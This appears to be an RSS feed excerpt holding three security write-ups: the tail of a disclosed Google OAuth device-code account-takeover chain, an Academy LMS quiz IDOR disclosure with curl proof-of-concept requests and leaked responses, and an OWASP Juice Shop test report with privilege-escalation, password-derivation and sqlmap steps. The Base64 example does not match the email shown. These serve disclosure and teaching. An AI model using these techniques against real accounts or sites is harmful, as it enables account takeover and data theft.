#1: the device-code sign-in session is transferable via URL.</strong> RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.</p><p>That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.</p><h3>5. Breaking the Scope Fence</h3><p>A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per <a href="https://developers.google.com/identity/protocols/oauth2/limited-input-device">Google’s own docs</a>: <em>“This OAuth 2.0 flow supports a limited set of scopes.”</em> The complete list:</p><ul><li>openid, email, profile</li><li>youtube, youtube.readonly</li><li>drive.appdata, drive.file (app-scoped Drive only, not full Drive)</li></ul><p>No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.</p><p>So I looked again at the transferable challenge URL:</p><pre>accounts.google.com/v3/signin/challenge/…<br>  ?TL=APouJz6T…              &lt;- encrypted session state<br>  &amp;response_type=none<br>  &amp;client_id=861556708454-…   &lt;- YouTube TV<br>  &amp;scope=…                    &lt;- YouTube scopes</pre><p>Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is <strong>no </strong><strong>redirect_uri anywhere in the URL</strong>. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.</p><p>The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.</p><p>I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own <strong>Cloud SDK</strong> client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said <strong>Google Cloud SDK</strong>, listing the elevated scopes. Approving it, my polling script, still polling with the <em>original</em> YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.</p><p><strong>Vulnerability #2: the server never validates that the </strong><strong>client_id and </strong><strong>scope in the authorization URL match what the </strong><strong>device_code was actually issued for.</strong></p><p>Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*4UwF2sE4BZuwRTMM9aJo9w.gif"><figcaption><em>PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes</em></figcaption></figure><p>The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.</p><h3>6. From Consent Screen to One Click</h3><p>I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the <em>thing being consented to</em> was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.</p><p>OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.</p><p>In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.</p><p>Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.</p><p><strong>One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*hHiWXmNkC5aWkKKDsmLD9w.gif"><figcaption><em>PoC: prompt=none one-click bypass against a third-party client</em></figcaption></figure><p>The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.</p><h3>7. Why the Victim Never Notices</h3><p>The natural follow-up: surely <em>something</em> surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.</p><p><strong>Audit trail pollution.</strong> myaccount.google.com/connections shows the <em>original</em> client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nq78jsm8FNLJ6QFG.png"><figcaption><em>The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes</em></figcaption></figure><p><strong>Implicit 2FA bypass.</strong> The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.</p><p>Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.</p><h3>8. Extending the Primitive</h3><p>Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.</p><p><strong>Persistent access via </strong><strong>accounts.reauth.</strong> Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.</p><p><strong>A Gmail backdoor via IMAP, not the REST API.</strong> Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: <em>"Gmail API has not been used in project 861556708454 before or it is disabled."</em> That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the <strong>XOAUTH2</strong> SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k7pQv3pDxP21l5DQ.png"><figcaption><em>Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages</em></figcaption></figure><p>End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.</p><p>Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.</p><h3>9. Disclosure Timeline</h3><p><strong>Feb 25, 2026</strong> Report filed with Google VRP<br><strong>Mar 2, 2026</strong> Closed: Won’t Fix (Intended Behavior), citing “social engineering”<br><strong>Mar 2, 2026</strong> Pushed back same day<br><strong>Mar 3, 2026</strong> Reopened, then closed again: Won’t Fix (Infeasible)<br><strong>Mar 3, 2026</strong> Countered with a prompt=none one-click PoC against Facebook’s client_id<br><strong>Mar 4, 2026</strong> Reopened a second time and accepted; bug filed with the product team<br><strong>Mar 28, 2026</strong> Marked fixed<br><strong>Apr 2, 2026</strong> Rewarded $13,337</p><p>The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.</p><h3>10. Mitigations</h3><p>For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:</p><ol><li>Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.</li><li>Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.</li><li>On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.</li></ol><h3>11. Conclusion</h3><p>The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the <em>start</em> of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.</p><p>Thanks for reading.</p><p>Originally published on <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html">https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dc6ec2db35a9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking-dc6ec2db35a9">Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]></title>
<description><![CDATA[Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE ResearchThis is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed a...]]></description>
<link>https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:36 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTFnySBjd6cxjcwiw7Mxpg.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br>GitHub: <a href="http://github.com/alisalive">alisalive</a> <br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads</a> <br>Type: Independent Security Research | WordPress Plugin CVE Research</h4><p>This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.</p><p>Background: Why Academy LMS</p><p>My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.</p><p>Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?</p><p>This turned out to be exactly the right question.</p><p>Understanding the Architecture</p><p>Academy LMS uses two parallel systems for handling API requests.</p><p>The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.</p><p>The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.</p><p>When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.</p><p>The Quiz attempts controller told a different story.</p><p>Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' =&gt; '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.</p><p>The Vulnerability: Two Separate Failure Points</p><p>The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.</p><p>Failure point one: the target user was read from the request, not the session.</p><pre>// addons/quizzes/api/quiz-attempts.php, line ~305<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><p>The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.</p><p>Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.</p><pre>// lines ~308-315<br>$is_administrator = current_user_can( 'administrator' );<br>$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );<br>$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );<br>$is_public        = \Academy\Helper::is_public_course( $course_id );</pre><pre>if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {<br>    // returns attempt details<br>}</pre><p>Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.</p><p>The database query confirmed the full impact:</p><pre>// classes/query.php, get_quiz_attempt_details()<br>"SELECT<br>    attempt_answers.attempt_id,<br>    attempt_answers.user_id,<br>    attempt_answers.is_correct,<br>    attempt_answers.answer as given_answer,<br>    quiz_answers.answer_title as correct_answer,<br>    quiz_answers.answer_content,<br>    quiz_answers.is_correct as is_correct_answer,<br>    quiz_questions.question_title,<br>    quiz_questions.question_type,<br>    ...<br>FROM {$wpdb-&gt;prefix}academy_quiz_attempt_answers as attempt_answers<br>LEFT JOIN {$wpdb-&gt;prefix}academy_quiz_answers as quiz_answers<br>    ON attempt_answers.question_id = quiz_answers.question_id<br>WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"</pre><p>The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.</p><p>The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.</p><p>Both were confirmed exploitable during testing.</p><p>The Contrast with the Fixed Code</p><p>What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:</p><pre>// includes/api/notes.php (fixed)<br>public function get_user_notes( $request ) {<br>    $user_id = get_current_user_id();<br>    // ...<br>}</pre><p>No $request-&gt;get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.</p><p>This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.</p><p>Live Proof of Concept</p><p>I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.</p><p>Actors in the test:</p><ul><li>Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course</li><li>Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker</li></ul><p>The attacker authenticates normally and obtains a valid REST nonce:</p><pre>curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null<br>curl -s -b cj.txt -c cj.txt \<br>  --data-urlencode 'log=pocsubscriber' \<br>  --data-urlencode 'pwd=PASSWORD' \<br>  --data-urlencode 'wp-submit=Log In' \<br>  --data-urlencode 'testcookie=1' \<br>  "http://TARGET/wp-login.php" -o /dev/null</pre><pre>NONCE=$(curl -s -b cj.txt \<br>  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")</pre><p>The attacker then sends a request supplying the victim’s user_id and attempt_id:</p><pre>curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \<br>  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&amp;user_id=5"</pre><p>The response:</p><pre>{<br>  "3": {<br>    "attempt_id": "3",<br>    "user_id": "5",<br>    "is_correct": true,<br>    "given_answer": [],<br>    "correct_answer": [<br>      {<br>        "answer_id": "2",<br>        "quiz_id": "33",<br>        "answer_title": "SECRET_CORRECT_Paris",<br>        "answer_order": "1"<br>      }<br>    ],<br>    "answer_content": "CORRECT_ANSWER_CONTENT",<br>    "question_title": "Capital of France?",<br>    "question_type": "true_false"<br>  }<br>}</pre><p>User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:</p><pre>curl -s -b cj.txt \<br>  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \<br>  --data-urlencode 'security=ACADEMY_NONCE' \<br>  --data-urlencode 'course_id=32' \<br>  --data-urlencode 'attempt_id=3' \<br>  --data-urlencode 'user_id=5' \<br>  "http://TARGET/wp-admin/admin-ajax.php"</pre><p>Response: "success": true, same data.</p><p>Impact Assessment</p><p>The impact has two distinct dimensions.</p><p>The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.</p><p>The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.</p><p>The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.</p><p>CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).</p><p>Disclosure Timeline</p><p>Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02</p><p>Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02</p><p>Submitted to WPScan vulnerability database with CVE request: 2026–07–02</p><p>WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02</p><p>Fix confirmed in latest version by code review (all $request-&gt;get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10</p><p>Write-up published: 2026–07–10</p><p>The Fix</p><p>The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:</p><pre>// Before (vulnerable):<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><pre>// After (fixed):<br>$current_user_id = get_current_user_id();</pre><p>The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.</p><p>What This Teaches</p><p>A few things stood out during this research that are worth naming explicitly.</p><p>The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.</p><p>The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.</p><p>Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my projects on</em> <a href="http://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c68bfe06f3a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers-c68bfe06f3a0">How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[VAPT Report Example]]></title>
<description><![CDATA[This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.Setup OWASP Juice Shop Locally Using DockerInstall DockerRun:docker pull bkimmini...]]></description>
<link>https://tsecurity.de/de/3675301/hacking/vapt-report-example/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675301/hacking/vapt-report-example/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.</p><h3>Setup OWASP Juice Shop Locally Using Docker</h3><h3>Install Docker</h3><p>Run:</p><pre>docker pull bkimminich/juice-shop<br>docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop</pre><p>Browse to:<br> <a href="http://localhost:3000/">http://localhost:3000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*mwz1GNdYbcw3HOLUQX1vGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*089pKG_zM-T4UOMGPzYjRw.png"></figure><h3>1. Privilege Escalation via User Registration API</h3><h3>Summary (with CWE)</h3><p>The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.</p><h3>CWE ID</h3><ul><li>CWE-269 — Improper Privilege Management</li><li>CWE-285 — Improper Authorization</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p><h3>Metrics:</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: High</li></ul><p><strong>CVSS Base Score:</strong> 9.8 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.</p><p>This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.</p><h3>Steps to Reproduce</h3><ol><li>Send a POST request to: http://localhost:3000/api/Users</li><li>Edit request body and add role parameter: { "role": "admin" }</li><li>Submit the request using Burp Suite.</li><li>The server responds with a successful user creation message.</li><li>Log in using the created credentials.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yEWUogo4-1Uor4o5aDkSyQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tam4-35GCakrERj7NHew5g.png"></figure><h3>Suggested Remediation</h3><ul><li>Enforce server-side role control</li><li>Default role assignment</li><li>Allow admin role assignment only through authenticated admin workflows</li><li>Validate permissions on every sensitive endpoint</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP Top 10 — Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/269.html">CWE-269: Improper Privilege Management</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285: Improper Authorization</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>2. OAuth Account Takeover</h3><h3>Summary (with CWE)</h3><p>OWASP Juice Shop implements Google OAuth login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.</p><p>This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.</p><h3>CWE ID</h3><ul><li>CWE-522 — Insufficiently Protected Credentials</li><li>CWE-287 — Improper Authentication</li><li>CWE-284 — Improper Access Control</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.</p><p>The OAuth workflow internally calls:</p><ul><li>userService.save() (user creation)</li><li>userService.login() (standard login)</li></ul><p>Both functions set the user password using the following logic:</p><pre>password = btoa(n.email.split("").reverse().join(""))</pre><h3>Password Generation Logic</h3><ul><li>The email address is reversed.</li><li>The reversed string is Base64-encoded.</li><li>The result is used as the account password.</li></ul><h3>Steps to Reproduce:</h3><h4>Identify OAuth Password Logic</h4><ul><li>Open main.js</li><li>Search for oauthLogin</li><li>Locate: password: btoa(n.email.split("").reverse().join(""))</li></ul><h4>Derive Victim Password</h4><p>Email: bjoern@gmail.com<br> Reversed: moc.liamg@nreojb<br> Base64 encoded password:</p><pre>bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*vCdCuyVKLSiLH_hhpgCIGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICsFhQCtxrXuosRiVJRgOQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Never generate passwords client-side</li><li>Separate OAuth and password authentication</li><li>Use strong, random credentials</li><li>Do not expose authentication logic</li><li>Perform security design reviews</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/">OWASP Top 10 — Broken Authentication</a></li><li><a href="https://cwe.mitre.org/data/definitions/522.html">CWE-522 — Insufficiently Protected Credentials</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc8252">OAuth 2.0 Security Best Practices (RFC 8252)</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>3. SQL Injection in Product Search Endpoint</h3><h3>Summary (with CWE)</h3><p>An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.</p><p>This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.</p><h3>CWE ID</h3><p>CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</p><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>The /rest/products/search API endpoint accepts user input via the <strong>q</strong> parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.</p><p>An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as <strong>sqlmap</strong> can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.</p><p>This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.</p><h3>Exploit Using sqlmap</h3><pre>sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables</pre><figure><img 